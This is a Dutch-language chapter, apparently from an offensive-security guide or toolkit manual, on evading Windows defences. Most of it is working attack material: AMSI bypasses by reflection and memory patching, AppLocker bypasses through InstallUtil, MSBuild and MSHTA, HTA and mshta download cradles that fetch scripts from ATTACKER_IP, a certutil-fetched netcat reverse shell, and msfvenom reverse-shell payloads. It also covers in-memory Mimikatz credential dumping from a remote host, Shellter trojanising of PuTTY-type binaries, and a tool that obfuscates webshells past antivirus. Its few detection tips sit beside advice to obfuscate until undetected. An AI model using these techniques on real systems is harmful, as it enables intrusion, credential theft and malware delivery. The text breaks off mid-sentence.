Evasion – Detectie Ontwijken
Waarin we ontdekken dat de hele beveiligingsindustrie een wapenwedloop is die niemand echt wint, en dat het Trojaanse paard nog steeds het best werkende concept uit de IT-geschiedenis is.
De Oudste Truc ter Wereld
Er is een verhaal – en ik weet niet of het waar is, maar het is te mooi om niet te vertellen – over een Engelse smokkelaar uit de achttiende eeuw die elke dag met een kruiwagen vol stro de grens over reed. De douanier prikte en porde in dat stro, dag na dag, week na week, en vond nooit iets. Jaren later, toen beiden met pensioen waren, liepen ze elkaar tegen het lijf in een kroeg. “Ik weet dat je iets smokkelde,” zei de douanier. “Vertel me wat het was.” De smokkelaar glimlachte. “Kruiwagens.”
Dat is, in essentie, het hele verhaal van evasion in informatiebeveiliging.
De Grieken bouwden een houten paard en de Trojanen sleepten het zelf
naar binnen. Drieduizend jaar later downloadt een medewerker van de
boekhouding een Excel-bestand genaamd
factuur_Q3_DEFINITIEF_v2.xlsm en klikt op “Macro’s
inschakelen.” De technologie is veranderd. De menselijke natuur
niet.
Wat we in dit hoofdstuk gaan doen, is systematisch door de verdedigingslagen van een modern Windows-systeem heen wandelen. Niet omdat we graag dingen kapotmaken – hoewel dat een onmiskenbaar prettige bijkomstigheid is – maar omdat je pas begrijpt hoe sterk een slot is als je het hebt geprobeerd open te breken. Elke techniek die hier beschreven staat, heeft een tegenpool: een detectiemethode, een hardening-maatregel, een manier om het te voorkomen. We behandelen die ook. Maar eerst moeten we begrijpen wat we proberen te ontwijken.
De moderne Windows-verdediging bestaat ruwweg uit drie lagen:
- AMSI – de Antimalware Scan Interface, die PowerShell-scripts en .NET-assemblies scant voordat ze uitgevoerd worden.
- AppLocker / WDAC – applicatie-whitelisting die bepaalt welke executables mogen draaien.
- Antivirus / EDR – de software die op handtekeningen en gedrag let, van Windows Defender tot commerciele EDR-oplossingen.
En dan is er nog een vierde laag die geen verdediging is maar eerder een slagveld: het geheugen van een draaiend proces, waar process injection plaatsvindt. Maar daarover later meer.
Laten we beginnen waar Microsoft dacht dat het slim was.
AMSI: De Bewaker Die Iedereen Kan Zien
Wat is AMSI?
De Antimalware Scan Interface is Microsofts antwoord op een probleem dat ze zelf gecreeerd hadden: PowerShell was zo krachtig geworden dat aanvallers het als hun favoriete gereedschap waren gaan gebruiken. AMSI, geintroduceerd in Windows 10, is een brug tussen applicaties (PowerShell, VBScript, JavaScript, Office VBA) en de geinstalleerde antimalware-software. Elke keer dat PowerShell een scriptblok uitvoert, stuurt het de tekst eerst naar AMSI, die het doorgeeft aan Defender (of welke AV dan ook geregistreerd is). AMSI zegt “ja” of “nee,” en PowerShell luistert.
Het is alsof je een bewaker bij de deur zet die elk pakketje
openmaakt en controleert. Klinkt degelijk. Behalve dat de bewaker in
hetzelfde gebouw staat als de mensen die hij controleert, en dat
iedereen zijn werkschema kent. AMSI draait in het proces van de
applicatie zelf – amsi.dll wordt in-process geladen. Dat
betekent dat als je de controle over dat proces hebt, je de bewaker
simpelweg kunt blinddoeken.
Of, om het cynisch samen te vatten: ze hebben een slot op de deur gezet en de sleutel aan de inbreker gegeven.
Hier zijn vijf manieren om die sleutel te gebruiken.
AMSI Bypass 1: Constrained Language Mode (CLM) Ontsnapping
Constrained Language Mode is PowerShells poging om gevaarlijke
operaties te beperken. In CLM mag je geen Add-Type
aanroepen, geen New-Object voor willekeurige .NET-klassen
gebruiken, en geen directe .NET-method calls doen. Het idee is: als je
PowerShell beperkt tot “veilige” cmdlets, kan een aanvaller er niets
mee.
Het probleem is dat CLM een beleidsbeslissing is, geen fysieke muur. Er zijn meerdere wegen eromheen.
Methode 1: Custom Runspace
De elegantste bypass maakt een nieuwe PowerShell-runspace aan – een soort mini-PowerShell-sessie – die niet onderhevig is aan CLM:
# Custom runspace omzeilt CLM restricties
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()Als het antwoord FullLanguage is in plaats van
ConstrainedLanguage, ben je vrij.
Methode 2: PowerShell v2
Dit is de hamerstijl-bypass: start simpelweg PowerShell versie 2, die geen AMSI heeft en geen CLM afdwingt:
# PowerShell v2: geen AMSI, geen CLM
powershell -version 2 -c "$ExecutionContext.SessionState.LanguageMode"Het werkt alleen als .NET Framework 2.0 nog geinstalleerd is. Op verrassend veel systemen is dat zo, omdat niemand ooit de moeite heeft genomen het te verwijderen. Beveiligingsbeleid door middel van luiheid is, helaas, geen effectief beveiligingsbeleid.
Methode 3: PSBypassCLM via InstallUtil
# PSBypassCLM tool via InstallUtil (whitelisted binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
/logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exeDit gebruikt een techniek die we verderop in het AppLocker-gedeelte
uitgebreider behandelen: InstallUtil.exe is een door
Microsoft ondertekend programma dat AppLocker en CLM vertrouwen.
Methode 4: MSBuild Inline Task
# MSBuild voert C# uit buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
C:\Windows\tasks\clm_bypass.xmlHet XML-bestand bevat inline C#-code die in FullLanguage mode draait, ongeacht wat de huidige PowerShell-sessie denkt.
Verificatie:
# Check je huidige language mode
$ExecutionContext.SessionState.LanguageModeIB Tip: CLM blokkeert
Add-Type,New-Object, en .NET method calls. Maar je kunt wel cmdlets aanroepen – alleen .NET interop is beperkt. Gebruik die beperking als detectiekans: als je in je logs ziet dat iemand een custom runspace aanmaakt, is er iets aan de hand.
AMSI Bypass 2: De amsiInitFailed Context Bypass
Dit is de bypass die je met een rechte rug aan een examinator kunt
uitleggen, omdat hij zo logisch is dat het bijna grappig wordt. AMSI
houdt intern een vlag bij genaamd amsiInitFailed. Als die
op true staat, denkt AMSI dat zijn eigen initialisatie
mislukt is, en slaat het alle scans over. Elke scan. Altijd. Het is
alsof je de brandmelder vertelt dat hij kapot is, waarna hij braaf stopt
met luisteren naar rook.
# Zet de amsiInitFailed flag naar true via reflection
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
if ($e.Name -like "*Failed") { $f = $e }
}
$f.SetValue($null, $true)Hoe het werkt: De code doorloopt de interne types
van de System.Management.Automation-assembly, vindt de
klasse die op iUtils eindigt (dat is
AmsiUtils, maar we schrijven het niet voluit omdat dat
zelf gedetecteerd wordt), vindt het statische veld dat op
Failed eindigt, en zet het op true.
Test het met:
IEX 'amsiutils'Als AMSI actief is, triggert het woord “amsiutils” een detectie. Na de bypass: stilte.
IB Tip: Dit is de simpelste bypass, maar wordt vaak gedetecteerd op de string zelf. Obfuscatie helpt:
# Obfuscatie voorbeeld: splits de class-naam $w = 'System.Management.Automation.A]' $c = 'si]Ut]able'.Replace(']','') $z = [Ref].Assembly.GetType(($w + 'm' + $c)) # ... enzovoortLet op: werkt niet in PowerShell 7+ vanwege gewijzigde internals.
AMSI Bypass 3: Memory Patching van AmsiScanBuffer
Als de vorige bypass het diplomatieke pad was, is dit de mokerslag.
We overschrijven de functie AmsiScanBuffer in het geheugen
met bytes die altijd AMSI_RESULT_CLEAN retourneren. AMSI
wordt aangeroepen, probeert te scannen, en zijn eigen scanfunctie zegt:
“Niets aan de hand.”
Dit is het equivalent van een inbreker die de camera’s niet uitschakelt, maar ze laat afspelen van een eerdere opname. De bewaker ziet beelden, denkt dat alles in orde is, en ondertussen wordt het magazijn leeggehaald.
# AmsiScanBuffer memory patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string n);
[DllImport("kernel32")]
public static extern bool VirtualProtect(
IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32
$l = [Win32]::LoadLibrary("amsi.dll")
$a = [Win32]::GetProcAddress($l, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($a, [uint32]5, 0x40, [ref]$p)
# Patch: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $a, 6)Wat gebeurt er stap voor stap:
- We laden
kernel32.dll-functies via P/Invoke. - We vinden het adres van
AmsiScanBufferinamsi.dll. - We veranderen de geheugenpermissies van die locatie naar
PAGE_EXECUTE_READWRITE(0x40) metVirtualProtect. - We schrijven zes bytes:
mov eax, 0x80070057gevolgd doorret. Dit zorgt ervoor dat de functie onmiddellijk retourneert metE_INVALIDARG, wat AMSI interpreteert als “scan niet mogelijk, ga door.”
De patch-bytes 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 zijn
het equivalent van een uit zes letters bestaand briefje op de deur: “Ben
er niet.”
IB Tip: Dit is de meest betrouwbare bypass en werkt op alle Windows-versies. Maar Defender detecteert de code die de patch uitvoert. Obfusceer, of gebruik een van de andere methoden als voorloper. Het is een soort kip-en-eiprobleem: je moet AMSI bypassen om je AMSI-bypass uit te voeren.
AMSI Bypass 4: Reflection – De AmsiContext Null Pointer
Deze variant is subtieler dan de memory patch. In plaats van de
scanfunctie te overschrijven, zetten we de
AmsiContext-pointer op nul. Wanneer
AmsiScanBuffer wordt aangeroepen, probeert het de context
te lezen, vindt een null pointer, en faalt gracefully – zonder alarm te
slaan.
# AMSI Bypass via .NET Reflection - AmsiContext naar null
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
if ($e.Name -like "*Context") { $f = $e }
}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)Hoe het verschilt van de amsiInitFailed-methode: In plaats van AMSI te vertellen dat het niet geinitialiseerd is, laten we het normaal starten en vervolgens zijn eigen geheugen corrumperen. Het is het verschil tussen zeggen “ik ben ziek, ik kom niet” en daadwerkelijk de alarmsirene volgieten met beton.
IB Tip: Obfusceer variabelenamen als de signature gedetecteerd wordt. Combineer eventueel met het uitschakelen van real-time monitoring (vereist adminrechten):
Set-MpPreference -DisableRealtimeMonitoring $trueMaar dat genereert zelf een event. Niets is gratis.
AMSI Bypass 5: InvisiShell – De Nucleaire Optie
InvisiShell is geen bypass van AMSI. Het is een bypass van
alles. Het omzeilt Script Block Logging, Module Logging,
Transcription, en AMSI in een klap, door een custom CLR Profiler DLL te
laden die hooks plaatst in de
System.Management.Automation-assembly.
Als de vorige bypasses een lockpick waren, is InvisiShell een bulldozer door de achtermuur.
# Met admin privileges (registry keys in HKLM):
RunWithPathAsAdmin.bat
# Zonder admin privileges (registry keys in HKCU):
RunWithRegistryNonAdmin.bat
# Na gebruik: exit om hooks en registry keys op te ruimen
exitIn de InvisiShell-sessie die daarna opent:
- Alle PowerShell-scripts laden zonder detectie.
- AMSI-bypass is niet meer nodig – AMSI ziet niets.
- Script Block Logging ziet niets.
- Module Logging ziet niets.
- Transcription ziet niets.
Het is alsof je een onzichtbaarheidsmantel om je PowerShell-sessie hebt geslagen. Vandaar de naam.
IB Tip: InvisiShell moet VOOR andere tools geladen worden. Het werkt door CLR Profiler hooking op
System.Management.Automation, wat betekent dat het alleen werkt in nieuwe PowerShell-processen – niet in bestaande sessies. Start het dus als allereerste stap na initial access.
AMSI: Het Grotere Plaatje
Vijf bypasses. Vijf manieren om een beveiligingsmechanisme te omzeilen dat Microsoft in 2015 met groot enthousiasme presenteerde. En dit zijn alleen de publiek bekende methoden. De les hier is niet dat AMSI waardeloos is – het vangt genoeg commodity malware af om zijn bestaan te rechtvaardigen. De les is dat AMSI een laag is, geen muur. Het houdt script kiddies tegen. Het houdt professionals niet tegen.
En dat brengt ons bij de volgende laag.
AppLocker: De Poortwachter met Alzheimer
Wat is AppLocker?
AppLocker is Microsofts applicatie-whitelisting-technologie. Het idee is eenvoudig en, in theorie, krachtig: beheerders definieerden regels die bepalen welke executables, scripts, DLL’s en installers mogen draaien. Alles wat niet op de lijst staat, wordt geblokkeerd.
In de praktijk betekent dit dat beheerders een lijst maken van toegestane programma’s, en dat aanvallers vervolgens programma’s gebruiken die al op die lijst staan. Want hier is het briljante inzicht achter Living Off The Land Binaries (LOLBins): Microsoft levert standaard tientallen ondertekende executables mee die dingen kunnen doen waar ze nooit voor bedoeld waren.
Het is alsof je een lijst maakt van mensen die het gebouw in mogen, en vergeet dat de schoonmaker ook een sleutel heeft tot de serverruimte.
AppLocker Bypass 1: InstallUtil.exe
InstallUtil.exe is een .NET-hulpprogramma voor het
installeren en deinstalleren van Windows-services. Het staat standaard
in de AppLocker-whitelist omdat het een door Microsoft ondertekende
binary is in de .NET Framework-directory. Het probleem: de
/U-vlag (uninstall) voert willekeurige code uit in de
Uninstall()-methode van een .NET- assembly.
Stap 1: Compileer een C#-payload met een Uninstall-methode
// bypass.cs - AppLocker bypass via InstallUtil
using System;
using System.Configuration.Install;
using System.ComponentModel;
[RunInstaller(true)]
public class Bypass : Installer
{
public override void Uninstall(System.Collections.IDictionary state)
{
// Hier je payload -- reverse shell, download cradle, etc.
Console.WriteLine("AppLocker? Welke AppLocker?");
}
}Compileer met de standaard .NET-compiler (die ook whitelisted is):
# Compileer de payload
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
/target:exe `
/out:C:\Windows\tasks\bypass.exe `
C:\Windows\tasks\bypass.csStap 2: Uitvoeren via InstallUtil
# 64-bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
/logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe
# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe `
/logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exeDe /logfile= en /LogToConsole=false vlaggen
onderdrukken output. Stilte is goud.
IB Tip: De payload moet
System.Configuration.Install.Installerovererven en het attribuut[RunInstaller(true)]hebben. Zonder die twee zal InstallUtil deUninstall()-methode niet aanroepen. Het is een van die gevallen waar de documentatie je vertelt hoe je de bypass moet schrijven.
AppLocker Bypass 2: MSBuild.exe
MSBuild is Microsofts build-tool voor .NET-projecten. Het leest XML-projectbestanden en voert de daarin gedefinieerde taken uit. Tot die taken behoren inline C#-taken, wat betekent dat MSBuild willekeurige C#-code kan compileren en uitvoeren.
Het is alsof je de schilder die je hebt ingehuurd om de muren te verven, ook de sleutels van de kluis geeft. Want ja, hij moet erbij kunnen om de lijst te verven. Toch?
# 64-bit MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
C:\Windows\tasks\build.xml
# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe `
C:\Windows\tasks\build.xml
# Remote XML laden via UNC pad (indien SMB open staat)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
\\10.0.0.1\share\build.xmlHet XML-bestand ziet er ongeveer zo uit:
<!-- build.xml - MSBuild inline task voorbeeld -->
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Exec">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask {
public override bool Execute() {
// Payload hier
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>IB Tip: De inline task moet een
<UsingTask>element bevatten metTaskFactory="CodeTaskFactory"en een verwijzing naarMicrosoft.Build.Tasks.v4.0.dllvoor .NET-referenties. Vergeet je dat, dan krijg je een cryptische MSBuild-foutmelding die je een half uur van je leven kost.
AppLocker Bypass 3: MSHTA.exe
MSHTA is de Microsoft HTML Application Host. Het voert
.hta-bestanden uit, wat in feite HTML-pagina’s zijn met
VBScript of JavaScript die buiten de browsersandbox draaien. MSHTA staat
in de AppLocker-whitelist omdat het een ondertekende Windows-binary
is.
Het is – en ik vind het moeilijk om dit zonder een zucht te schrijven – een van de meest misbruikte LOLBins in de geschiedenis van Windows.
Methode 1: Inline VBScript met download cradle
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')"":close")Methode 2: HTA-bestand via URL
mshta http://ATTACKER_IP/payloads/shell.htaMethode 3: Inline JavaScript
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')");Methode 4: Via COM object met certutil download
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c certutil -urlcache -f http://ATTACKER_IP/tools/nc.exe C:\Windows\tasks\nc.exe && C:\Windows\tasks\nc.exe ATTACKER_IP 443 -e cmd.exe"":close")Vier methoden. Vier manieren om via een door Microsoft ondertekende binary willekeurige code uit te voeren. En dit is nog maar een van de tientallen LOLBins.
IB Tip: MSHTA is een LOLBin – een Living Off The Land Binary. Dat wil zeggen: het staat al op het systeem, het is ondertekend door Microsoft, en AppLocker vertrouwt het. Detectie moet op gedrag gericht zijn: als
mshta.exeeenpowershell.exe-kindproces start, is er iets goed mis.
AV Bypass: De Komedie van de Handtekeningen
Het Probleem met Antivirus
Laten we even eerlijk zijn over de antivirus-industrie. Het is een bedrijfstak van miljarden dollars die gebaseerd is op het volgende businessmodel: wij verkopen je een product dat malware herkent die we al kennen. Voor malware die we niet kennen, heb je pech. Maar maak je geen zorgen, want morgen kennen we die ook, en dan verkopen we je een update.
Het is alsof de politie zegt: “We kunnen elke dief pakken die we al eerder gepakt hebben. Nieuwe dieven? Daar werken we aan.”
Signature-based detection – het hart van traditionele AV – werkt door bestanden te vergelijken met een database van bekende patronen. Verander een byte, en het patroon klopt niet meer. De hele verdediging is gebaseerd op de aanname dat aanvallers te lui zijn om hun tools aan te passen. En eerlijk gezegd was die aanname jarenlang correct. Maar we leven niet meer in jarenlang.
Moderne AV-producten hebben heuristics en machine learning toegevoegd, en EDR-oplossingen kijken naar gedrag in plaats van handtekeningen. Maar de kern is nog steeds reactief: iemand moet de aanval eerst zien voordat er een detectie voor geschreven kan worden.
In deze sectie bekijken we vier technieken die in Incompetent Bastard zitten om met die realiteit om te gaan.
AV Bypass 1: DefenderCheck & AMSITrigger – Vind Wat Opvalt
Voordat je iets kunt verbergen, moet je weten wat zichtbaar is. Dat is waar DefenderCheck en AMSITrigger om de hoek komen kijken. Het zijn geen evasion-tools – het zijn diagnostische tools. Ze vertellen je welke delen van je payload de detectie triggeren.
DefenderCheck – Scan een binary:
# Vindt exact welke bytes in je binary gedetecteerd worden
DefenderCheck.exe C:\path\to\binary.exeAMSITrigger – Scan een PowerShell-script:
# Vindt welke strings in je script AMSI triggeren
AmsiTrigger_x64.exe -i C:\path\to\script.ps1
# Verbose output voor meer detail:
AmsiTrigger_x64.exe -i C:\path\to\script.ps1 -f 3Het iteratieve proces:
- Scan met DefenderCheck of AMSITrigger.
- Pas gedetecteerde strings aan – hernoem functies, variabelen, split strings.
- Obfusceer de binary met ConfuserEx.
- Scan opnieuw.
- Herhaal tot je
AMSI_RESULT_NOT_DETECTEDkrijgt.
# Voorbeeld: string-splitting om detectie te omzeilen
# Voor: "Invoke-Mimikatz"
# Na: "Inv" + "oke-Mim" + "ikatz"
# Voorbeeld: Base64-encoding voor obfuscatie
$encoded = [System.Convert]::FromBase64String($payload)Het is de digitale versie van een verdachte die steeds van vermomming wisselt tot de politiefoto niet meer klopt. Behalve dat de verdachte de politiefoto heeft en in de spiegel kan kijken.
IB Tip: Dit is een iteratief proces. Scan, pas aan, scan opnieuw. De kunst is om minimaal te wijzigen – verander alleen wat gedetecteerd wordt, niet de hele payload. Hoe meer je verandert, hoe groter de kans dat je iets kapotmaakt.
AV Bypass 2: HTA Execution
HTA-bestanden – HTML Applications – zijn een van die wonderlijke Microsoft-concepten die bedoeld waren om beheerders het leven makkelijker te maken en die in de praktijk vooral aanvallers blij maken. Een HTA draait als volwaardige applicatie, niet in een browsersandbox. Het heeft toegang tot COM-objecten, het bestandssysteem, en kan processen starten.
Generatie met msfvenom:
# HTA payload genereren met msfvenom
msfvenom -p windows/shell_reverse_tcp \
LHOST=ATTACKER_IP LPORT=443 \
-f hta-psh -o evil.htaHandmatige HTA met PowerShell download cradle:
<html>
<head>
<script language="VBScript">
Sub RunPS()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -ep bypass -w hidden -c " & _
"IEX(New-Object Net.WebClient).DownloadString(" & _
"'http://ATTACKER_IP/shell.ps1')", 0
End Sub
RunPS
self.close
</script>
</head>
<body></body>
</html>Delivery-methoden:
# 1. Direct via URL (social engineering):
mshta http://ATTACKER_IP/evil.hta
# 2. Via Office macro:
# Sub AutoOpen()
# Shell "mshta http://ATTACKER_IP/evil.hta"
# End Sub
# 3. Via command line:
mshta http://ATTACKER_IP/evil.hta
# 4. Inline (geen bestand nodig):
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run " & _
"""powershell -ep bypass -c IEX(New-Object Net.WebClient)" & _
".DownloadString('http://ATTACKER_IP/shell.ps1')"", 0:close")Listener starten:
# Eenvoudig met netcat:
nc -nlvp 443
# Of via Metasploit:
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/shell_reverse_tcp; \
set LHOST 0.0.0.0; set LPORT 443; exploit"IB Tip:
mshta.exeis een signed Windows binary – een LOLBin.self.closein het HTA-script sluit het venster direct na uitvoering, en-w hiddenverbergt het PowerShell-venster. De gebruiker ziet even een flits. Misschien.
AV Bypass 3: NetLoader – In-Memory Assembly Loading
NetLoader is het Zwitserse zakmes van de evasion-toolkit. Het laadt .NET-assemblies direct in het geheugen, patcht automatisch AMSI en ETW (Event Tracing for Windows) voordat het de payload uitvoert, en laat niets achter op de schijf.
Niets. Op. De. Schijf.
Enkele stage: NetLoader laadt payload direct:
# Laad SafetyKatz (Mimikatz-variant) in memory
C:\Users\Public\Loader.exe `
-path http://10.0.0.1/tools/SafetyKatz.exe
# Met argumenten:
C:\Users\Public\Loader.exe `
-path http://10.0.0.1/tools/SafetyKatz.exe `
sekurlsa::logonpasswords exitDubbele stage: AssemblyLoad laadt NetLoader laadt payload:
# AssemblyLoad -> NetLoader -> payload (drie lagen diep)
C:\Users\Public\AssemblyLoad.exe `
http://10.0.0.1/tools/Loader.exe `
-path http://10.0.0.1/tools/SafetyKatz.exeVoorbeelden met andere payloads:
# Kerberoasting met Rubeus
C:\Users\Public\Loader.exe `
-path http://10.0.0.1/tools/Rubeus.exe kerberoast /stats
# BloodHound data verzamelen
C:\Users\Public\Loader.exe `
-path http://10.0.0.1/tools/SharpHound.exe `
--CollectionMethods All
# ADCS kwetsbaarheden zoeken
C:\Users\Public\Loader.exe `
-path http://10.0.0.1/tools/Certify.exe find /vulnerableHet concept van dubbele staging is interessant. AssemblyLoad laadt NetLoader in het geheugen. NetLoader patcht AMSI en ETW. Daarna laadt NetLoader de eigenlijke payload – SafetyKatz, Rubeus, SharpHound – ook in het geheugen. Er zijn drie lagen, en geen van drieen raakt de schijf. Het is een Russische matroesjka-pop van evasion.
IB Tip:
Loader.exezelf moet ook AV-proof zijn. Als Defender de loader detecteert, heb je niets aan in-memory loading. Obfusceer de loader indien nodig, of gebruik de AssemblyLoad-variant als extra laag. Het is schildpadden helemaal naar beneden.
AV Bypass 4: Shellter – PE Injection
Shellter neemt een bestaande, legitieme Windows-executable en injecteert daar shellcode in. Het resultaat is een bestand dat eruitziet als PuTTY of WinSCP, maar dat bij uitvoering ook een reverse shell opzet. Het is de digitale versie van een smokkelaar die cocaïne in de binnenkant van een beeldje verstopt.
Installatie op Kali:
sudo apt install shellter
# Vereist wine (32-bit) op Linux:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32Automatische modus:
shellter
# Kies: A (Auto)
# PE Target: /usr/share/windows-binaries/plink.exe
# Payload: L (Listed)
# Kies: 1 (meterpreter_reverse_tcp)
# LHOST: ATTACKER_IP
# LPORT: 443Handmatige modus (betere evasion):
shellter
# Kies: M (Manual)
# PE Target: pad/naar/legit.exe
# Tracing engine vindt beschikbare code caves
# Custom payload: /pad/naar/raw_shellcode.binShellcode genereren voor Shellter:
# Raw shellcode voor custom payload:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=ATTACKER_IP LPORT=443 -f raw -o shellcode.bin
# Staged vs stageless:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=ATTACKER_IP LPORT=443 -f raw -o staged.bin
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=ATTACKER_IP LPORT=443 -f raw -o stageless.binGoede PE-targets voor injection:
/usr/share/windows-binaries/plink.exe/usr/share/windows-binaries/whoami.exe- WinSCP.exe, 7zFM.exe, putty.exe
IB Tip: Gebruik 32-bit PE-targets – Shellter is een 32-bit tool. Auto modus is sneller, maar Manual geeft betere evasion vanwege de code cave selectie. Gebruik altijd een verse kopie van de legitieme executable voor elke encoding. En test met DefenderCheck of ThreatCheck voordat je het naar het doelwit stuurt. Vertrouw nooit op “het werkte de vorige keer.”
AV Bypass 5: Multi-Taal Payload Obfuscatie (obfuscate_av.py)
Tot nu toe ging het over PowerShell-obfuscatie met
obfuscate_ps.py. Maar payloads komen in meer smaken dan
alleen .ps1. PHP webshells, ASPX shells, Python reverse
shells, HTA-bestanden, VBA macro’s en platte tekst shell-scripts – ze
worden allemaal door AV-engines gescand op bekende signatures. En die
signatures zijn precies zo voorspelbaar als je zou verwachten.
obfuscate_av.py past hetzelfde principe toe als zijn
PowerShell-broer: alleen de regels die een bekende AV-signature
bevatten worden geobfusceerd. De rest blijft ongewijzigd en
leesbaar. Maar de technieken zijn per taal anders, omdat elke taal zijn
eigen trucjes heeft.
Ondersteunde talen en technieken:
| Taal | Extensie | Techniek | Voorbeeld |
|---|---|---|---|
| PHP | .php |
Variable function + string concat | $f='sh'.'ell_ex'.'ec'; $f($cmd) |
| ASPX | .aspx |
String concatenatie + string.Concat() |
"cmd"+".exe",
string.Concat("Process"+"StartInfo") |
| Python | .py |
Base64 exec wrapper | exec(__import__('base64').b64decode('...')) |
| HTA | .hta |
VBScript Chr() encoding | Chr(67)&Chr(114)&Chr(101)&... |
| VBA | macro’s | Chr() encoding voor API namen | Chr(75)&Chr(69)&Chr(82)&... (KERNEL32) |
| TXT | .txt |
Shell variabele substitutie | _abc="/bin/sh" + $_abc |
Bekende signatures per taal:
De signature-database is ingebouwd en bevat per taal de strings die door AV-engines als malware-indicator worden herkend:
- PHP:
shell_exec,system,passthru,exec,popen,proc_open,eval,base64_decode,move_uploaded_file - ASPX:
ProcessStartInfo,cmd.exe,Process.Start,UseShellExecute,System.Diagnostics - Python:
socket.socket,subprocess,os.dup2,SOCK_STREAM,AF_INET,/bin/sh - HTA:
CreateObject,Wscript.Shell,powershell,-nop,-enc - VBA:
CreateThread,VirtualAlloc,RtlMoveMemory,KERNEL32,Declare PtrSafe Function - TXT:
/bin/sh,/bin/bash,nc -e,/dev/tcp,mkfifo
CLI-gebruik:
# Automatische taaldetectie op basis van extensie
python3 obfuscate_av.py http/payloads/shell.php
# Output: http/payloads/shell-obf.php
# [*] Obfuscating: http/payloads/shell.php (taal: php)
# [+] Klaar: 3 string, 0 code vervangingen
# Forceer taaldetectie
python3 obfuscate_av.py payload.txt -l python
# Met eigen output pad
python3 obfuscate_av.py shell.aspx -o shell-clean.aspxVBA obfuscatie voor macro’s:
VBA-obfuscatie werkt anders dan de rest: het wordt niet toegepast op
een bestandsextensie, maar op de VBA-code in een macro. De
macro generators (macro.py, macro2.py) hebben
een --obfuscate-vba flag:
# Genereer macro met VBA obfuscatie
python3 macro.py 10.0.0.1 443 --obfuscate-vbaDit vervangt API-namen als KERNEL32,
VirtualAlloc en CreateThread in de
gegenereerde VBA-code met Chr() concatenatie. Het resultaat: de macro
werkt identiek, maar AV-engines herkennen de API-calls niet meer.
Encoder opties voor binary payloads:
Voor binaire payloads (.exe, .elf,
.msi) werkt tekst-obfuscatie niet – je kunt niet zomaar
bytes gaan verplaatsen in een gecompileerd programma. In plaats daarvan
bieden de generators msfvenom encoder opties:
# Linux ELF met shikata_ga_nai encoding (3 iteraties)
python3 linux_elf.py 10.0.0.1 443 --encoder x86/shikata_ga_nai --iterations 3
# MSI payload met XOR encoding
python3 msi_payload.py 10.0.0.1 443 --encoder x64/xor_dynamic --iterations 5
# Meterpreter met encoder + bestaande XOR-laag
python3 meterpreter.py 10.0.0.1 443 --encoder x64/xor --iterations 2Beschikbare encoders: x86/shikata_ga_nai,
x64/xor_dynamic, x64/xor,
x86/xor, x86/alpha_mixed,
x64/zutto_dekiru.
Dashboard-integratie:
De obfuscatie is op drie plekken in het dashboard beschikbaar:
Payload generators – Elke text-based generator (PHP shell, ASPX shell, HTA, Python reverse shell) heeft een AV Evasion checkbox. Binary generators (Linux ELF, MSI, Meterpreter) hebben een encoder dropdown en iterations veld. Macro generators hebben een VBA Obfuscatie checkbox.
On-the-fly downloads – Net als bij
